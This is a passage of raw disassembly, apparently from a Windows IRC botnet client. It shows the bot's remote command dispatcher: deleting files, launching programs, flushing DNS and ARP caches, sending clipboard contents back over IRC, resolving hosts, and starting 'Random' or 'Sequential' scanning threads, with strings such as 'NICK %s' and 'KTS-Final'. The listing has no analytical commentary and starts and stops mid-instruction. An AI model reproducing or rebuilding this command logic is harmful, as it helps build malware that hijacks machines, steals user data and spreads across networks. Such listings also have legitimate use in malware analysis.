[ebp+arg_4] call sub_404555 add esp, 20h jmp loc_40B19B ; --------------------------------------------------------------------------- loc_40A09D: ; CODE XREF: sub_4077FD+14D8j ; sub_4077FD+14EDj cmp [ebp+var_C], ebx jz loc_40B19B push [ebp+arg_10] call sub_40CBC0 push esi mov edi, eax call sub_40CBC0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+2] push eax call sub_40E4B0 add esp, 10h cmp eax, ebx jz loc_40B19B push ebx push ebx push eax push [ebp+arg_10] jmp loc_40AD32 ; --------------------------------------------------------------------------- loc_40A0DC: ; CODE XREF: sub_4077FD+14AEj ; sub_4077FD+14C3j cmp [ebp+var_C], ebx jz loc_407C50 push [ebp+arg_18] push [ebp+var_C] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz loc_407C50 push eax push [ebp+arg_10] call sub_40304D push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_41EC64 push eax call sub_40C6C3 add esp, 14h jmp loc_408FFB ; --------------------------------------------------------------------------- loc_40A11F: ; CODE XREF: sub_4077FD+1472j ; sub_4077FD+1487j push [ebp+arg_10] push [ebp+arg_1C] call sub_40E4B0 pop ecx test eax, eax pop ecx jz loc_40B19B mov edi, [ebp+edi+var_9C] cmp edi, ebx jz short loc_40A1BA push edi push [ebp+var_C] call sub_40E4B0 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2E4] jz short loc_40A1A8 push esi push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset dword_41ECFC push eax call sub_40C6C3 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_40C720 push esi lea eax, [ebp+var_2E4] push [ebp+arg_10] push offset unk_41EC3C push eax call sub_40C6C3 add esp, 34h inc [ebp+arg_24] jmp loc_40A2F5 ; --------------------------------------------------------------------------- loc_40A1A8: ; CODE XREF: sub_4077FD+2957j push offset unk_41EC08 push eax call sub_40C6C3 pop ecx pop ecx jmp loc_40A2F5 ; --------------------------------------------------------------------------- loc_40A1BA: ; CODE XREF: sub_4077FD+2940j push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BABB add esp, 0Ch push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset dword_41EBEC push 200h push eax call sub_40D3F7 add esp, 24h jmp loc_40A2F5 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_4077FD+1448j ; sub_4077FD+145Dj push offset aR ; "r" push [ebp+arg_10] call sub_40DDC8 mov edi, eax pop ecx cmp edi, ebx pop ecx lea eax, [ebp+var_2E4] jz short loc_40A27E mov esi, 200h push edi push esi push eax call sub_40E9CE add esp, 0Ch jmp short loc_40A25B ; --------------------------------------------------------------------------- loc_40A230: ; CODE XREF: sub_4077FD+2A60j push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 push edi lea eax, [ebp+var_2E4] push esi push eax call sub_40E9CE add esp, 20h loc_40A25B: ; CODE XREF: sub_4077FD+2A31j test eax, eax jnz short loc_40A230 push edi call sub_40D9CA push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_41EBC4 push eax call sub_40C6C3 add esp, 10h jmp short loc_40A2F5 ; --------------------------------------------------------------------------- loc_40A27E: ; CODE XREF: sub_4077FD+2A1Fj push [ebp+arg_10] push offset unk_41EBA0 loc_40A286: ; CODE XREF: sub_4077FD+27AAj push eax call sub_40C6C3 add esp, 0Ch jmp short loc_40A2D4 ; --------------------------------------------------------------------------- loc_40A291: ; CODE XREF: sub_4077FD+141Ej ; sub_4077FD+1433j cmp [ebp+var_C], ebx jz loc_40B19B push [ebp+arg_10] push [ebp+var_C] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz loc_40B19B push eax call sub_4053D3 test eax, eax pop ecx lea eax, [ebp+var_2E4] jnz short loc_40A2C7 push offset unk_41EB80 jmp short loc_40A2CC ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_4077FD+2AC1j push offset dword_41EB64 loc_40A2CC: ; CODE XREF: sub_4077FD+2AC8j push eax call sub_40C6C3 pop ecx pop ecx loc_40A2D4: ; CODE XREF: sub_4077FD+2A92j cmp [ebp+var_8], ebx jnz short loc_40A2F5 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40A2F5: ; CODE XREF: sub_4077FD+29A6j ; sub_4077FD+29B8j ... lea eax, [ebp+var_2E4] push eax loc_40A2FC: ; CODE XREF: sub_4077FD+1104j call sub_403145 pop ecx jmp loc_40B19B ; --------------------------------------------------------------------------- loc_40A307: ; CODE XREF: sub_4077FD+13F4j ; sub_4077FD+1409j push [ebp+arg_10] call dword_4180E8 ; DeleteFileA test eax, eax jz short loc_40A31E push [ebp+arg_10] push offset dword_41EB48 jmp short loc_40A329 ; --------------------------------------------------------------------------- loc_40A31E: ; CODE XREF: sub_4077FD+2B15j push offset dword_41EE18 call sub_40530E push eax loc_40A329: ; CODE XREF: sub_4077FD+2B1Fj lea eax, [ebp+var_2E4] push 200h push eax call sub_40D3F7 loc_40A33A: ; CODE XREF: sub_4077FD+2C4Bj add esp, 10h loc_40A33D: ; CODE XREF: sub_4077FD+2436j ; sub_4077FD+244Dj ... cmp [ebp+var_8], ebx jnz short loc_40A35E push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] loc_40A356: ; CODE XREF: sub_4077FD+264Ej call sub_404555 add esp, 14h loc_40A35E: ; CODE XREF: sub_4077FD+2636j ; sub_4077FD+2B43j ... mov esi, [ebp+arg_24] jmp loc_409BDD ; --------------------------------------------------------------------------- loc_40A366: ; CODE XREF: sub_4077FD+13CAj ; sub_4077FD+13DFj push [ebp+arg_10] call sub_40D9BF push eax call sub_40601E xor esi, esi pop ecx inc esi pop ecx push [ebp+arg_10] cmp eax, esi lea eax, [ebp+var_2E4] jnz short loc_40A38D push offset unk_41EB24 jmp short loc_40A392 ; --------------------------------------------------------------------------- loc_40A38D: ; CODE XREF: sub_4077FD+2B87j push offset unk_41EAF0 loc_40A392: ; CODE XREF: sub_4077FD+2B8Ej push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_409BDD push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h jmp loc_409BDD ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_4077FD+13A0j ; sub_4077FD+13B5j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_405D93 add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_40A3EB push offset unk_41EACC jmp loc_40B08E ; --------------------------------------------------------------------------- loc_40A3EB: ; CODE XREF: sub_4077FD+2BE2j push offset unk_41EA9C jmp loc_40B08E ; --------------------------------------------------------------------------- loc_40A3F5: ; CODE XREF: sub_4077FD+1376j ; sub_4077FD+138Bj mov esi, [ebp+arg_10] push esi call dword_42D8B4 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40A41D push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_42D834 ; gethostbyaddr cmp eax, ebx jz short loc_40A44D push dword ptr [eax] jmp short loc_40A436 ; --------------------------------------------------------------------------- loc_40A41D: ; CODE XREF: sub_4077FD+2C08j push esi call dword_42D8F8 ; gethostbyname cmp eax, ebx jz short loc_40A44D mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_42D900 ; inet_ntoa push eax loc_40A436: ; CODE XREF: sub_4077FD+2C1Ej push esi lea eax, [ebp+var_2E4] push offset dword_41EA7C push eax call sub_40C6C3 jmp loc_40A33A ; --------------------------------------------------------------------------- loc_40A44D: ; CODE XREF: sub_4077FD+2C1Aj ; sub_4077FD+2C29j push offset dword_41EA54 lea eax, [ebp+var_2E4] jmp loc_409C7C ; --------------------------------------------------------------------------- loc_40A45D: ; CODE XREF: sub_4077FD+134Cj ; sub_4077FD+1361j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_40C720 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_41EA2C push eax call sub_40C6C3 add esp, 18h jmp loc_409BB9 ; --------------------------------------------------------------------------- loc_40A486: ; CODE XREF: sub_4077FD+1322j ; sub_4077FD+1337j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_42D7F8 push [ebp+arg_10] test eax, eax jz short loc_40A4AA push offset dword_41EA0C jmp loc_40B08E ; --------------------------------------------------------------------------- loc_40A4AA: ; CODE XREF: sub_4077FD+2CA1j push offset unk_41E9E4 jmp loc_40B08E ; --------------------------------------------------------------------------- loc_40A4B4: ; CODE XREF: sub_4077FD+12F8j ; sub_4077FD+130Dj mov eax, [ebp+arg_10] mov cl, [eax] mov byte_41DE50, cl movsx eax, byte ptr [eax] push eax push offset unk_41E9BC jmp loc_40B129 ; --------------------------------------------------------------------------- loc_40A4CD: ; CODE XREF: sub_4077FD+12CEj ; sub_4077FD+12E3j push [ebp+arg_10] push offset aAll ; "all" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40A50C call sub_40C225 cmp eax, ebx jle short loc_40A4F4 push eax push offset dword_41E990 jmp loc_408FEC ; --------------------------------------------------------------------------- loc_40A4F4: ; CODE XREF: sub_4077FD+2CEAj push offset dword_41E964 loc_40A4F9: ; CODE XREF: sub_4077FD+1CE6j ; sub_4077FD+1D46j lea eax, [ebp+var_2E4] push eax call sub_40C6C3 pop ecx pop ecx jmp loc_408FFB ; --------------------------------------------------------------------------- loc_40A50C: ; CODE XREF: sub_4077FD+2CE1j mov eax, [ebp+var_24] lea edi, [eax+1] jmp short loc_40A580 ; --------------------------------------------------------------------------- loc_40A514: ; CODE XREF: sub_4077FD+2D86j mov esi, [ebp+edi*4+var_A4] cmp esi, ebx jz loc_407C50 push esi call sub_40D9BF push eax call sub_40C19D pop ecx pop ecx test eax, eax push esi lea eax, [ebp+var_2E4] jz short loc_40A543 push offset dword_41E940 jmp short loc_40A548 ; --------------------------------------------------------------------------- loc_40A543: ; CODE XREF: sub_4077FD+2D3Dj push offset dword_41E914 loc_40A548: ; CODE XREF: sub_4077FD+2D44j push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40A572 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40A572: ; CODE XREF: sub_4077FD+2D57j lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx inc edi loc_40A580: ; CODE XREF: sub_4077FD+2D15j cmp edi, 20h jb short loc_40A514 jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40A58A: ; CODE XREF: sub_4077FD+12A4j ; sub_4077FD+12B9j cmp [ebp+var_C], ebx jz loc_40B19B push [ebp+arg_10] push [ebp+var_C] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz loc_40B19B push eax push offset dword_41BC38 jmp loc_409FD0 ; --------------------------------------------------------------------------- loc_40A5B3: ; CODE XREF: sub_4077FD+127Aj ; sub_4077FD+128Fj push [ebp+arg_10] push offset dword_41EC90 jmp loc_409FD0 ; --------------------------------------------------------------------------- loc_40A5C0: ; CODE XREF: sub_4077FD+1250j ; sub_4077FD+1265j push [ebp+edi+var_9C] push [ebp+arg_10] jmp loc_40A029 ; --------------------------------------------------------------------------- loc_40A5CF: ; CODE XREF: sub_4077FD+1226j ; sub_4077FD+123Bj push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" jmp loc_409FD0 ; --------------------------------------------------------------------------- loc_40A5DC: ; CODE XREF: sub_4077FD+11EAj ; sub_4077FD+11FFj mov al, byte_41DE6A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_41DE6A jz loc_407C50 mov ecx, edx loc_40A5F3: ; CODE XREF: sub_4077FD+2DFEj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_40A5F3 cmp al, bl jz loc_407C50 mov [ebp+arg_18], edx loc_40A608: ; CODE XREF: sub_4077FD+30B7j push 7 pop esi push esi call sub_40C2A4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 258h add edx, ecx cmp edx, eax jle short loc_40A65D push ecx lea eax, [ebp+var_2E4] push offset unk_41F10C push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 20h jmp loc_40A8AB ; --------------------------------------------------------------------------- loc_40A65D: ; CODE XREF: sub_4077FD+2E2Bj or [ebp+var_300], 0FFFFFFFFh cmp dword_41A068, ebx mov [ebp+var_304], 14h mov [ebp+var_318], esi mov [ebp+var_314], eax mov [ebp+arg_0], ebx jz short loc_40A6C6 mov eax, [ebp+arg_18] mov esi, offset dword_41A068 lea edi, [eax-0Ah] loc_40A690: ; CODE XREF: sub_4077FD+2EABj lea eax, [esi-28h] push edi push eax call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_40A6AC inc [ebp+arg_0] add esi, 3Ch cmp [esi], ebx jnz short loc_40A690 jmp short loc_40A6C6 ; --------------------------------------------------------------------------- loc_40A6AC: ; CODE XREF: sub_4077FD+2EA1j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_41A068[ecx] mov [ebp+var_31C], ecx loc_40A6C6: ; CODE XREF: sub_4077FD+2E86j ; sub_4077FD+2EADj cmp [ebp+var_31C], ebx jz loc_40A8D1 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_42D820 ; getsockname mov al, [ebp+var_8CF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_40C720 xor eax, eax cmp [ebp+var_8CF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_430] push eax call sub_40EA30 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40A768 loc_40A746: ; CODE XREF: sub_4077FD+2F69j cmp eax, ebx jz short loc_40A768 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_40EA30 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_40A746 loc_40A768: ; CODE XREF: sub_4077FD+2F47j ; sub_4077FD+2F4Bj mov eax, [ebp+arg_4] push [ebp+var_9C] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_320], eax lea eax, [ebp+var_420] push 80h push eax mov [ebp+var_2F0], 1 mov [ebp+var_2F8], esi mov [ebp+var_2F4], edi call sub_40D3F7 push offset byte_4242F0 push offset aPrv_1 ; "#prv##" call sub_40D860 add esp, 14h test eax, eax jz short loc_40A7D5 push offset aPrv_1 ; "#prv##" lea eax, [ebp+var_3A0] push 80h push eax call sub_40D3F7 add esp, 0Ch jmp short loc_40A7DB ; --------------------------------------------------------------------------- loc_40A7D5: ; CODE XREF: sub_4077FD+2FBBj mov [ebp+var_3A0], bl loc_40A7DB: ; CODE XREF: sub_4077FD+2FD6j cmp [ebp+var_2F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_40A7ED mov eax, offset aSequential ; "Sequential" loc_40A7ED: ; CODE XREF: sub_4077FD+2FE9j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2E4] push offset unk_41F020 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 7 push eax call sub_40C062 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_401704 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40A8C7 call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_41EFE8 push eax call sub_40C6C3 add esp, 0Ch loc_40A880: ; CODE XREF: sub_4077FD+30D2j cmp edi, ebx jnz short loc_40A89E push ebx lea eax, [ebp+var_2E4] push esi push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40A89E: ; CODE XREF: sub_4077FD+3085j lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx loc_40A8AB: ; CODE XREF: sub_4077FD+2E5Bj add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40A608 jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40A8BF: ; CODE XREF: sub_4077FD+30D0j push 32h call dword_418040 ; Sleep loc_40A8C7: ; CODE XREF: sub_4077FD+3066j cmp [ebp+var_2EC], ebx jz short loc_40A8BF jmp short loc_40A880 ; --------------------------------------------------------------------------- loc_40A8D1: ; CODE XREF: sub_4077FD+2ECFj push offset unk_41F0D4 loc_40A8D6: ; CODE XREF: sub_4077FD+30FDj lea eax, [ebp+var_2E4] push eax call sub_40C6C3 pop ecx pop ecx jmp loc_409BB9 ; --------------------------------------------------------------------------- loc_40A8E9: ; CODE XREF: sub_4077FD+11C0j ; sub_4077FD+11D5j push 4 call sub_40C2A4 test eax, eax pop ecx jle short loc_40A8FC push offset unk_41E8F4 jmp short loc_40A8D6 ; --------------------------------------------------------------------------- loc_40A8FC: ; CODE XREF: sub_4077FD+30F6j mov eax, [ebp+edi+var_A0] mov esi, 104h cmp eax, ebx jz short loc_40A91F push eax lea eax, [ebp+var_584] push esi push eax call sub_40D3F7 add esp, 0Ch jmp short loc_40A92E ; --------------------------------------------------------------------------- loc_40A91F: ; CODE XREF: sub_4077FD+310Dj lea eax, [ebp+var_584] push esi push eax push ebx call dword_41804C ; GetModuleFileNameA loc_40A92E: ; CODE XREF: sub_4077FD+3120j mov edi, [ebp+edi+var_9C] cmp edi, ebx jnz short loc_40A93E mov edi, offset byte_41DF08 loc_40A93E: ; CODE XREF: sub_4077FD+313Aj push edi lea eax, [ebp+var_480] push esi push eax call sub_40D3F7 mov eax, dword_41DE40 push 7Fh push [ebp+var_9C] mov [ebp+var_374], eax mov eax, [ebp+arg_4] mov [ebp+var_378], ebx mov [ebp+var_588], eax lea eax, [ebp+var_370] push eax call sub_40C720 mov eax, [ebp+var_4] mov [ebp+var_2F0], eax mov eax, [ebp+var_8] mov [ebp+var_2EC], eax lea eax, [ebp+var_480] push eax lea eax, [ebp+var_584] push eax lea eax, [ebp+var_2E4] push [ebp+var_374] push offset unk_41A458 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 4 push eax call sub_40C062 add esp, 38h mov [ebp+var_37C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_588] push ebx push eax push offset sub_40BB81 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_37C] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40AA11 call dword_418044 ; RtlGetLastWin32Error push eax push offset unk_41E8B8 jmp loc_40B129 ; --------------------------------------------------------------------------- loc_40AA09: ; CODE XREF: sub_4077FD+321Aj push 32h call dword_418040 ; Sleep loc_40AA11: ; CODE XREF: sub_4077FD+31F9j cmp [ebp+var_2E8], ebx jz short loc_40AA09 jmp loc_409BB9 ; --------------------------------------------------------------------------- loc_40AA1E: ; CODE XREF: sub_4077FD+1196j ; sub_4077FD+11ABj mov edi, [ebp+edi+var_A0] cmp edi, ebx jz short loc_40AA31 push edi call sub_40D9BF jmp short loc_40AA38 ; --------------------------------------------------------------------------- loc_40AA31: ; CODE XREF: sub_4077FD+322Aj push 7 call sub_40C2C3 loc_40AA38: ; CODE XREF: sub_4077FD+3232j cmp eax, ebx pop ecx jz loc_40B19B push eax push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4010CA loc_40AA53: ; CODE XREF: sub_4077FD+2839j add esp, 10h jmp loc_40B19B ; --------------------------------------------------------------------------- loc_40AA5B: ; CODE XREF: sub_4077FD+116Cj ; sub_4077FD+1181j mov eax, dword_42D7B0 cmp eax, ebx jz short loc_40AA7E call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2E4] jz short loc_40AA77 push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed." jmp short loc_40AA9F ; --------------------------------------------------------------------------- loc_40AA77: ; CODE XREF: sub_4077FD+3271j push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache." jmp short loc_40AA9F ; --------------------------------------------------------------------------- loc_40AA7E: ; CODE XREF: sub_4077FD+3265j push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll." lea eax, [ebp+var_2E4] jmp short loc_40AA9F ; --------------------------------------------------------------------------- loc_40AA8B: ; CODE XREF: sub_4077FD+1142j ; sub_4077FD+1157j call sub_405811 test eax, eax lea eax, [ebp+var_2E4] jz short loc_40AAAF push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed." loc_40AA9F: ; CODE XREF: sub_4077FD+3278j ; sub_4077FD+327Fj ... push 200h push eax call sub_40D3F7 jmp loc_409C95 ; --------------------------------------------------------------------------- loc_40AAAF: ; CODE XREF: sub_4077FD+329Bj push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache." jmp short loc_40AA9F ; --------------------------------------------------------------------------- loc_40AAB6: ; CODE XREF: sub_4077FD+1118j ; sub_4077FD+112Dj cmp [ebp+var_8], ebx jnz short loc_40AAD5 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40AAD5: ; CODE XREF: sub_4077FD+32BCj push ebx push [ebp+var_4] call sub_405398 push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 push offset dword_41E7CC call sub_403145 add esp, 18h jmp loc_40B19B ; --------------------------------------------------------------------------- loc_40AAFF: ; CODE XREF: sub_4077FD+1067j ; sub_4077FD+107Cj push [ebp+edi+var_A0] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_403B00 loc_40AB17: ; CODE XREF: sub_4077FD+3A7j add esp, 10h jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40AB1F: ; CODE XREF: sub_4077FD+103Dj ; sub_4077FD+1052j or esi, 0FFFFFFFFh call dword_41805C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov edi, [ebp+edi+var_A0] cmp edi, ebx mov [ebp+arg_0], eax jz short loc_40AB48 push edi call sub_40D9BF pop ecx mov esi, eax loc_40AB48: ; CODE XREF: sub_4077FD+3340j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, esi jnb short loc_40AB61 cmp esi, 0FFFFFFFFh jnz loc_40B19B loc_40AB61: ; CODE XREF: sub_4077FD+3359j push ebx call sub_40B6FE push eax lea eax, [ebp+var_2E4] push offset dword_41E7B0 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 lea eax, [ebp+var_2E4] push eax call sub_403145 add esp, 28h jmp loc_40B19B ; --------------------------------------------------------------------------- loc_40ABA6: ; CODE XREF: sub_4077FD+1013j ; sub_4077FD+1028j push 1Ch call sub_40C2A4 test eax, eax pop ecx jle short loc_40ABC9 cmp [ebp+var_8], ebx jnz loc_407C50 push ebx push [ebp+var_4] push offset unk_41E790 jmp loc_40B2FD ; --------------------------------------------------------------------------- loc_40ABC9: ; CODE XREF: sub_4077FD+33B3j push [ebp+var_9C] lea eax, [ebp+var_63C] push 80h push eax call sub_40D3F7 mov eax, [ebp+arg_4] mov edi, [ebp+edi+var_A0] mov [ebp+var_640], eax mov eax, [ebp+var_4] mov [ebp+var_5B4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp edi, ebx mov [ebp+var_5B0], eax mov [ebp+var_5B8], ebx jz short loc_40AC2A push edi push offset aFull ; "full" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40AC2A mov [ebp+var_5B8], 1 loc_40AC2A: ; CODE XREF: sub_4077FD+3410j ; sub_4077FD+3421j lea eax, [ebp+var_2E4] push offset dword_41E768 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 1Ch push eax call sub_40C062 add esp, 14h mov [ebp+var_5BC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_640] push ebx push eax push offset sub_405F40 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_5BC] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40ACB7 call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_41E72C push eax call sub_40C6C3 add esp, 0Ch loc_40AC9D: ; CODE XREF: sub_4077FD+1801j ; sub_4077FD+1823j ... lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40ACAF: ; CODE XREF: sub_4077FD+34C0j push 32h call dword_418040 ; Sleep loc_40ACB7: ; CODE XREF: sub_4077FD+3483j cmp [ebp+var_5AC], ebx jz short loc_40ACAF jmp short loc_40AC9D ; --------------------------------------------------------------------------- loc_40ACC1: ; CODE XREF: sub_4077FD+FE9j ; sub_4077FD+FFEj cmp [ebp+var_8], ebx jnz short loc_40ACE0 push ebx push [ebp+var_4] push offset dword_41E710 push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40ACE0: ; CODE XREF: sub_4077FD+34C7j push [ebp+arg_4] call dword_42D90C ; closesocket call dword_42D7E4 ; WSACleanup call sub_40551B push ebx call dword_418074 ; ExitProcess loc_40ACFB: ; CODE XREF: sub_4077FD+FBFj ; sub_4077FD+FD4j push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B807 pop ecx pop ecx jmp short loc_40AD2B ; --------------------------------------------------------------------------- loc_40AD12: ; CODE XREF: sub_4077FD+F95j ; sub_4077FD+FAAj push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BABB add esp, 0Ch loc_40AD2B: ; CODE XREF: sub_4077FD+3513j push eax push [ebp+var_9C] loc_40AD32: ; CODE XREF: sub_4077FD+28DAj push [ebp+arg_4] call sub_404555 add esp, 14h jmp loc_40B19B ; --------------------------------------------------------------------------- loc_40AD42: ; CODE XREF: sub_4077FD+F6Bj ; sub_4077FD+F80j push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4030CD jmp loc_40AF41 ; --------------------------------------------------------------------------- loc_40AD58: ; CODE XREF: sub_4077FD+F41j ; sub_4077FD+F56j push [ebp+var_9C] lea eax, [ebp+var_740] push 80h push eax call sub_40D3F7 mov eax, [ebp+arg_4] mov edi, [ebp+edi+var_A0] mov [ebp+var_744], eax mov eax, [ebp+var_4] mov [ebp+var_6B8], eax mov eax, [ebp+var_8] add esp, 0Ch cmp edi, ebx mov [ebp+var_6B4], eax jz short loc_40ADB2 push offset dword_41E70C push edi call sub_40D860 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_6BC], eax jmp short loc_40ADB8 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_4077FD+3599j mov [ebp+var_6BC], ebx loc_40ADB8: ; CODE XREF: sub_4077FD+35B3j lea eax, [ebp+var_2E4] push offset dword_41E6EC push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 1Dh push eax call sub_40C062 add esp, 14h mov [ebp+var_6C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_744] push ebx push eax push offset sub_40C0CD push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_6C0] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40AE38 call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset dword_41E6B0 push eax call sub_40C6C3 add esp, 0Ch jmp loc_40A35E ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_4077FD+3641j push 32h call dword_418040 ; Sleep loc_40AE38: ; CODE XREF: sub_4077FD+3611j cmp [ebp+var_6B0], ebx jz short loc_40AE30 jmp loc_40A35E ; --------------------------------------------------------------------------- loc_40AE45: ; CODE XREF: sub_4077FD+EC5j ; sub_4077FD+EDAj push offset aKtsFinal ; "KTS-Final" lea eax, [ebp+var_2E4] push offset dword_41E694 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 20h jmp loc_40A35E ; --------------------------------------------------------------------------- loc_40AE7C: ; CODE XREF: sub_4077FD+E9Bj ; sub_4077FD+EB0j push dword_481BE8 call sub_40B6FE push eax lea eax, [ebp+var_2E4] push offset unk_41E664 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 24h jmp loc_40A35E ; --------------------------------------------------------------------------- loc_40AEBA: ; CODE XREF: sub_4077FD+E71j ; sub_4077FD+E86j mov edi, [ebp+edi+var_A0] cmp edi, ebx jz short 